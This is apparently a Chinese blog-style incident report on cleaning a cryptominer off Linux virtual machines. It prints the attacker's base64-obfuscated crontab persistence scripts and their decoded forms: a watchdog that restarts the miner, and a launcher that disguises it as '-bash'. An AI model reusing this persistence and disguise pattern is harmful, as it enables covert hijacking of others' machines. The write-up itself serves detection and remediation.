一、現象:
平臺集羣中的虛擬機,存在異常進程“ld-linux-x86-64”,佔用了大量cpu資源。其次,重啓虛擬機之後,虛擬機的操作系統ROOT用戶密碼會被修改,初步判斷原因爲被黑客攻擊。
二、探索:
安裝殺毒軟件clamav
1040 yum install clamd -y 1043 freshclam 1049 service clamd start 1052 chkconfig clamd on 1053 clamdscan -V 1054 clamscan -r / --move=/tmp 附clamscan命令參數說明: 1、 全盤掃描:# clamscan -r / 2、 掃描到病毒後立即刪除(慎用):# clamscan -r / --remove 3、 掃描到病毒後立即移動到/tmp目錄:# clamscan -r / --move=/tmp 4、 生成掃描日誌文件:# clamscan/tmp/1.txt -l /var/log/clamscan.log 5、 常用選項: (1) --quiet:只打印錯誤信息 (2) -i | --infected:只打印被感染的文件 (3) --remove[=yes/no(*)]:移除被感染的文件 (4) --move=DIRECTORY:將被感染的文件移至指定目錄 (5) --copy=DIRECTORY:將被感染的文件複製至指定目錄 (6) --exclude=REGEX:不掃描與正則表達式匹配的文件 (7) --exclude-dir=REGEX:不掃描與正則表達式匹配的目錄 (8) --include=REGEX:只掃描與正則表達式匹配的文件 (9) --include-dir=REGEX:只掃描與正則表達式匹配的目錄 |
-----------掃描摘要-----------
已知病毒:6778248
發動機版本:0.100.2
掃描目錄:24595
掃描文件:136784
受感染的文件:3
總錯誤:6043
掃描數據:8724.49 MB
數據讀取:8392.82 MB(比率1.04:1
---------------------------------
刪除感染文件之後,問題依然在,暫時排除病毒的可能。
三、突破:
由於問題進程殺了又起來,換言之“殺不死”,那麼一定有程序在監控並拉起它。最簡單的實現方式就是利用Linux系統的“crontab”了。Crontab定時器通常用來執行定時任務或週期性任務,使用起來簡單方便。於是隨手檢查了一下定時任務列表,終端鍵入命令“crontab -l”,發現:
* * * * * /sbin/upd >/dev/null 2>&1
意思是:/sbin/upd腳本每分鐘執行一次,執行的返回內容不輸出到控制檯。
腳本內容是:
#!/usr/bin/env bash echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh |
顯然,這是一個加密了的腳本,根據後面的“bash64 -di”
意思應該是用bash64編碼方式解碼,再後面的“sh”,意思是執行 解碼後的內容。
清理相關文件:
1.清除定時器中的定時任務
2.殺掉異常進程
3.刪掉分析出的所有涉及腳本及可執行文件
rm -rf /sbin/upd
rm -rf /sbin/initct1
rm -rf /sbin/mke3fs
rm -rf /sbin/s1n
rm -rf /sbin/ld-linux-x86-64.so.2
rm -rf /sbin/libpthread.so.1
4.修改root用戶密碼
四、分析:
涉及的腳本
1)/sbin/upd
腳本原文
#!/usr/bin/env bash
echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v
aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw
IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh
腳本解碼後的真實內容
#!/bin/sh
if test -r /sbin/initct1; then
pid=$(cat /sbin/initct1)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /sbin
./mke3fs &>/dev/null
exit 0
fi
fi
功能:
進程守護
2)/sbin/upd
腳本原文
#!/usr/bin/env bash
echo 'IyEvYmluL2Jhc2gKLi9zMW4gLXMgIi1iYXNoIiAtcCBpbml0Y3QxIC4vbGQtbGludXgteDg2LTY0
LnNvLjIgLS1saWJyYXJ5LXBhdGggLiAuL2xpYnB0aHJlYWQuc28uMSA+Pi9kZXYvbnVsbCAmCg==' | base64 -di | sh
腳本解碼後的真實內容
#!/bin/bash
./s1n -s "-bash" -p initct1 ./ld-linux-x86-64.so.2 --library-path . ./libpthread.so.1 >>/dev/null &
功能:
實現主功能(挖礦以及其他不可說的任務)
3)/sbin/initct1
功能:用來存放 進程ID。
可執行文件
/sbin/s1n |
/sbin/ld-linux-x86-64.so.2 |
/sbin/libpthread.so.1 |